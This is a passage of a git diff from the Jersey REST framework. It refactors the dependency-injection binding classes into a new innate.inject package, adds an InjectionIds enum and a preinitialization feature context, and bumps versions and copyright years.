-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -64,9 +65,10 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             messageBodyFactory = new ClientMessageBodyFactory(bootstrapBag.getConfiguration(), () -> clientRuntime);
-            InstanceBinding<ClientMessageBodyFactory> binding =
-                    Bindings.service(messageBodyFactory)
-                            .to(MessageBodyWorkers.class);
+            Binding<ClientMessageBodyFactory, ?> binding =
+                    Bindings.service(messageBodyFactory).to(MessageBodyWorkers.class)
+                            .forClient(true)
+                            .id(InjectionIds.SERVER_MESSAGE_BODY_WORKERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java b/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
index 12714d8..12ace67 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/InvocationInterceptorStages.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,6 +53,7 @@
 import java.util.Map;
 import java.util.Optional;
 import java.util.Set;
+import java.util.function.Predicate;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -280,6 +281,11 @@
             return clientRequest.getPropertyNames();
         }
 
+//        @Override
+        public boolean hasProperty(String name) {
+            return clientRequest.hasProperty(name);
+        }
+
         @Override
         public void setProperty(String name, Object object) {
             clientRequest.setProperty(name, object);
@@ -325,6 +331,16 @@
             return clientRequest.getHeaderString(name);
         }
 
+//        @Override
+        public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+            return clientRequest.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+        }
+
+//        @Override
+        public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+            return clientRequest.containsHeaderString(name, valuePredicate);
+        }
+
         @Override
         public Date getDate() {
             return clientRequest.getDate();
@@ -500,6 +516,16 @@
             return clientResponse.getHeaderString(name);
         }
 
+//        @Override
+        public boolean containsHeaderString(String name, String valueSeparatorRegex, Predicate<String> valuePredicate) {
+            return clientResponse.containsHeaderString(name, valueSeparatorRegex, valuePredicate);
+        }
+
+//        @Override
+        public boolean containsHeaderString(String name, Predicate<String> valuePredicate) {
+            return clientResponse.containsHeaderString(name, valuePredicate);
+        }
+
         @Override
         public Set<String> getAllowedMethods() {
             return clientResponse.getAllowedMethods();
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
index c120856..c131119 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyInvocation.java
@@ -62,14 +62,11 @@
 import org.glassfish.jersey.client.internal.ClientResponseProcessingException;
 import org.glassfish.jersey.client.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.util.Producer;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
-import org.glassfish.jersey.process.internal.ExecutorProviders;
 import org.glassfish.jersey.process.internal.RequestScope;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
index 09d8d88..9ed06d0 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,19 +17,19 @@
 package org.glassfish.jersey.client.innate.inject;
 
 import org.glassfish.jersey.client.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.BlindBinder;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -268,7 +268,7 @@
     }
 
     public NonInjectionManager() {
-        Binding binding = new AbstractBinder() {
+        final Binding binding = new BlindBinder() {
             @Override
             protected void configure() {
                 bind(NonInjectionRequestScope.class).to(RequestScope.class).in(Singleton.class);
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
index f8627f8..461807a 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/inject/ParameterUpdaterConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -20,9 +20,10 @@
 import jakarta.ws.rs.ext.ParamConverterProvider;
 import org.glassfish.jersey.client.ClientBootstrapBag;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ParamConverterFactory;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -53,6 +54,6 @@
         ParameterUpdaterFactory parameterUpdaterFactory = new ParameterUpdaterFactory(lazyParamConverterFactory);
         clientBag.setParameterUpdaterProvider(parameterUpdaterFactory);
         injectionManager.register(Bindings.service(parameterUpdaterFactory)
-                        .to(ParameterUpdaterProvider.class));
+                        .to(ParameterUpdaterProvider.class).id(InjectionIds.CLIENT_PARAMETER_UPDATER_PROVIDER.id()));
     }
 }
diff --git a/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..c8f92f0
--- /dev/null
+++ b/core-client/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.client.ClientBootstrapPreinitialization
\ No newline at end of file
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
index a985579..85be81c 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,8 +39,8 @@
 import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
 import org.glassfish.jersey.client.spi.Connector;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.Version;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
index 3900e5d..56cb409 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 
 import org.junit.jupiter.api.Test;
diff --git a/core-common/pom.xml b/core-common/pom.xml
index e927538..3c46e09 100644
--- a/core-common/pom.xml
+++ b/core-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -143,6 +143,7 @@
                             org.w3c.dom;resolution:=optional,
                             org.xml.sax;resolution:=optional,
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Bundle-ActivationPolicy>lazy</Bundle-ActivationPolicy>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java b/core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
similarity index 69%
rename from incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
index 07ba5b9..29f7fe9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/spi/BootstrapPreinitialization.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/BootstrapPreinitialization.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,17 +14,18 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.inject.weld.spi;
-
-import jakarta.ws.rs.RuntimeType;
+package org.glassfish.jersey.innate;
 
 import org.glassfish.jersey.Beta;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.FeatureContext;
 
 /**
  * <p>
  *     The entry point for pre-initialize Jersey during bootstrap. Register the beans that are not recognized by the injection
- *     framework to be injected in runtime. Register beans for the specific runtime type into the {@link AbstractBinder}.
+ *     framework to be injected in runtime. Register beans for the specific runtime type into the {@link InjectionManager}.
  * </p>
  */
 @Beta
@@ -32,7 +33,11 @@
     /**
      * Manually register beans that are not automatically recognised by the injection framework.
      * @param runtimeType
-     * @param binder
+     * @param injectionManager
      */
-    void register(RuntimeType runtimeType, AbstractBinder binder);
+    void preregister(RuntimeType runtimeType, InjectionManager injectionManager);
+
+    static FeatureContext featureContextInstance() {
+        return new PreinitializationFeatureContext();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java b/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java
new file mode 100644
index 0000000..bbea997
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/PreinitializationFeatureContext.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate;
+
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.model.internal.CommonConfig;
+import org.glassfish.jersey.model.internal.ComponentBag;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.FeatureContext;
+import java.util.Map;
+
+/**
+ * Feature Context to be used during the Bootstrap Preinitialization phase
+ */
+class PreinitializationFeatureContext implements FeatureContext {
+
+    private final InternalBinder binder;
+
+    PreinitializationFeatureContext() {
+        this.binder = new InternalBinder() {
+            @Override
+            protected void configure() {
+
+            }
+        };
+    }
+
+    @Override
+    public Configuration getConfiguration() {
+        return new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL);
+    }
+
+    @Override
+    public FeatureContext property(String name, Object value) {
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass) {
+        binder.bindAsContract(componentClass);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, int priority) {
+        binder.bindAsContract(componentClass).ranked(priority);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, Class<?>... contracts) {
+        final Binding binding = binder.bind(componentClass);
+        if (contracts != null) {
+            for (Class<?> contract : contracts) {
+                binding.to(contract);
+            }
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Class<?> componentClass, Map<Class<?>, Integer> contracts) {
+        for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
+            final InternalBinder abstractBinder = new InternalBinder() {
+                @Override
+                protected void configure() {
+                }
+            };
+            final Binding binding = abstractBinder.bind(componentClass);
+            binding.to(contract.getKey()).ranked(contract.getValue());
+            binder.install(abstractBinder);
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component) {
+        if (InjectionManager.class.isInstance(component)) {
+            ((InjectionManager) component).register(binder);
+        } else if (InternalBinder.class.isInstance(component)) {
+            binder.install((InternalBinder) component);
+        } else {
+            binder.bind(component).to(component.getClass());
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, int priority) {
+        binder.bind(component).to(component.getClass()).ranked(priority);
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, Class<?>... contracts) {
+        Binding binding = binder.bind(component);
+        if (contracts != null) {
+            for (Class<?> contract : contracts) {
+                binding.to(contract);
+            }
+        }
+        return this;
+    }
+
+    @Override
+    public FeatureContext register(Object component, Map<Class<?>, Integer> contracts) {
+        for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
+            final InternalBinder abstractBinder = new InternalBinder() {
+                @Override
+                protected void configure() {
+                }
+            };
+            final Binding binding = abstractBinder.bind(component);
+            binding.to(contract.getKey()).ranked(contract.getValue());
+            binder.install(abstractBinder);
+        }
+        return this;
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
similarity index 93%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
index ef1e733..9f34627 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Bindings.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/Bindings.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -23,6 +23,10 @@
 
 import jakarta.ws.rs.core.GenericType;
 
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 
 /**
@@ -37,8 +41,8 @@
     }
 
     public static Collection<Binding> getBindings(InjectionManager injectionManager, Binder binder) {
-        if (binder instanceof AbstractBinder) {
-            ((AbstractBinder) binder).setInjectionManager(injectionManager);
+        if (binder instanceof BlindBinder) {
+            ((BlindBinder) binder).setInjectionManager(injectionManager);
         }
 
         return binder.getBindings();
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
similarity index 87%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
index 78379c3..12efd1b 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/AbstractBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/BlindBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,15 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import jakarta.inject.Provider;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.internal.LocalizationMessages;
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -26,12 +34,6 @@
 import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
-import jakarta.ws.rs.core.GenericType;
-
-import jakarta.inject.Provider;
-
-import org.glassfish.jersey.internal.LocalizationMessages;
-
 /**
  * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
  * implementation and new DI SPI.
@@ -40,11 +42,11 @@
  *
  * @author Petr Bouda
  */
-public abstract class AbstractBinder implements Binder {
+public abstract class BlindBinder implements Binder {
 
     private List<Binding> internalBindings = new ArrayList<>();
 
-    private List<AbstractBinder> installed = new ArrayList<>();
+    private List<Binder> installed = new ArrayList<>();
 
     private InjectionManager injectionManager;
 
@@ -93,7 +95,7 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bind(Class<T> serviceType) {
+    public <T> Binding<T, ?> bind(Class<T> serviceType) {
         ClassBinding<T> binding = Bindings.service(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -119,7 +121,7 @@
      * @param serviceType service class.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bindAsContract(Class<T> serviceType) {
+    public <T> Binding<T, ?> bindAsContract(Class<T> serviceType) {
         ClassBinding<T> binding = Bindings.serviceAsContract(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -134,7 +136,7 @@
      * @param serviceType generic service type information.
      * @return initialized binding builder.
      */
-    public <T> ClassBinding<T> bindAsContract(GenericType<T> serviceType) {
+    public <T> Binding<T, ?> bindAsContract(GenericType<T> serviceType) {
         ClassBinding<T> binding = Bindings.service(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -148,7 +150,7 @@
      * @param serviceType generic service type information.
      * @return initialized binding builder.
      */
-    public ClassBinding<Object> bindAsContract(Type serviceType) {
+    public Binding<Object, ?> bindAsContract(Type serviceType) {
         ClassBinding<Object> binding = Bindings.serviceAsContract(serviceType);
         internalBindings.add(binding);
         return binding;
@@ -164,7 +166,7 @@
      * @param service service instance.
      * @return initialized binding builder.
      */
-    public <T> InstanceBinding<T> bind(T service) {
+    public <T> Binding<T, ?> bind(T service) {
         InstanceBinding<T> binding = Bindings.service(service);
         internalBindings.add(binding);
         return binding;
@@ -178,7 +180,7 @@
      * @param supplierScope factory scope.
      * @return initialized binding builder.
      */
-    public <T> SupplierClassBinding<T> bindFactory(
+    public <T> Binding<Supplier<T>, ?> bindFactory(
             Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
         SupplierClassBinding<T> binding = Bindings.supplier(supplierType, supplierScope);
         internalBindings.add(binding);
@@ -194,7 +196,7 @@
      * @param supplierType service supplier class.
      * @return initialized binding builder.
      */
-    public <T> SupplierClassBinding<T> bindFactory(Class<? extends Supplier<T>> supplierType) {
+    public <T> Binding<Supplier<T>, ?> bindFactory(Class<? extends Supplier<T>> supplierType) {
         SupplierClassBinding<T> binding = Bindings.supplier(supplierType);
         internalBindings.add(binding);
         return binding;
@@ -207,7 +209,7 @@
      * @param factory service instance.
      * @return initialized binding builder.
      */
-    public <T> SupplierInstanceBinding<T> bindFactory(Supplier<T> factory) {
+    public <T> Binding<Supplier<T>, ?> bindFactory(Supplier<T> factory) {
         SupplierInstanceBinding<T> binding = Bindings.supplier(factory);
         internalBindings.add(binding);
         return binding;
@@ -217,14 +219,14 @@
      * Start building a new injection resolver binding. The injection resolver is naturally
      * considered to be a {@link jakarta.inject.Singleton singleton-scoped}.
      * <p>
-     * There is no need to provide any additional information. Other method on {@link Binding}
+     * There is no need to provide any additional information. Other method on {@link InternalBinding}
      * will be ignored.
      *
      * @param <T>      type of the injection resolver.
      * @param resolver injection resolver instance.
      * @return initialized binding builder.
      */
-    public <T extends InjectionResolver> InjectionResolverBinding<T> bind(T resolver) {
+    public <T extends InjectionResolver> Binding<T, ?> bind(T resolver) {
         InjectionResolverBinding<T> binding = Bindings.injectionResolver(resolver);
         internalBindings.add(binding);
         return binding;
@@ -235,7 +237,7 @@
      *
      * @param binders binders whose binding definitions should be configured.
      */
-    public final void install(AbstractBinder... binders) {
+    public final void install(Binder... binders) {
         Arrays.stream(binders)
                 .filter(Objects::nonNull)
                 .forEach(installed::add);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
similarity index 86%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
index 605abc1..0f22e35 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ClassBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ClassBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 /**
  * Injection binding description of a bean bound via its a Java class.
@@ -22,7 +22,7 @@
  * @param <T> type of the bean described by this injection binding.
  * @author Petr Bouda
  */
-public class ClassBinding<T> extends Binding<T, ClassBinding<T>> {
+public class ClassBinding<T> extends InternalBinding<T, ClassBinding<T>> {
 
     private final Class<T> service;
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
similarity index 82%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
index 3347415..792626e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/CompositeBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/CompositeBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,9 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.internal.inject.Binder;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -27,7 +29,7 @@
  *
  * @author Petr Bouda
  */
-public class CompositeBinder extends AbstractBinder {
+public class CompositeBinder extends InternalBinder {
 
     private Collection<Binder> installed = new ArrayList<>();
 
@@ -46,7 +48,7 @@
      * @param binders provided binder to install as a collection.
      * @return composite binder.
      */
-    public static AbstractBinder wrap(Collection<Binder> binders) {
+    public static InternalBinder wrap(Collection<Binder> binders) {
         return new CompositeBinder(binders);
     }
 
@@ -56,7 +58,7 @@
      * @param binders provided binder to install as an array.
      * @return composite binder.
      */
-    public static AbstractBinder wrap(Binder... binders) {
+    public static InternalBinder wrap(Binder... binders) {
         return new CompositeBinder(Arrays.asList(binders));
     }
 
@@ -65,6 +67,6 @@
      */
     @Override
     public void configure() {
-        install(installed.toArray(new AbstractBinder[] {}));
+        install(installed.toArray(new Binder[] {}));
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java
new file mode 100644
index 0000000..e6f0fde
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+/**
+ * Very Innate information of Injection Bindings, do not use outside of Jersey, the IDs are a subject of a change.
+ */
+public enum InjectionIds {
+    COMMON_CONFIGURATION(1000),
+    COMMON_PROPERTIES_DELEGATE(1001),
+    COMMON_CONTEXT_RESOLVERS(1014),
+    COMMON_EXCEPTION_MAPPERS(1015),
+    COMMON_EXECUTOR_SERVICE_CLIENT(1011),
+    COMMON_EXECUTOR_SERVICE_SERVER(1111),
+    COMMON_SCHEDULED_EXECUTOR_SERVICE_CLIENT(1013),
+    COMMON_SCHEDULED_EXECUTOR_SERVICE_SERVER(1113),
+    COMMON_PROVIDERS_CLIENT(1016),
+    COMMON_PROVIDERS_SERVER(1116),
+
+    CLIENT_AGGREGATED_PROVIDER(2010),
+    CLIENT_MESSAGE_BODY_WORKERS(2020),
+    CLIENT_CLIENT_CONFIG(2101),
+    CLIENT_CLIENT_REQUEST(2102),
+    CLIENT_CLIENT_REQUEST_REF_FACTORY(2103),
+    CLIENT_HTTP_HEADERS(2104), // !
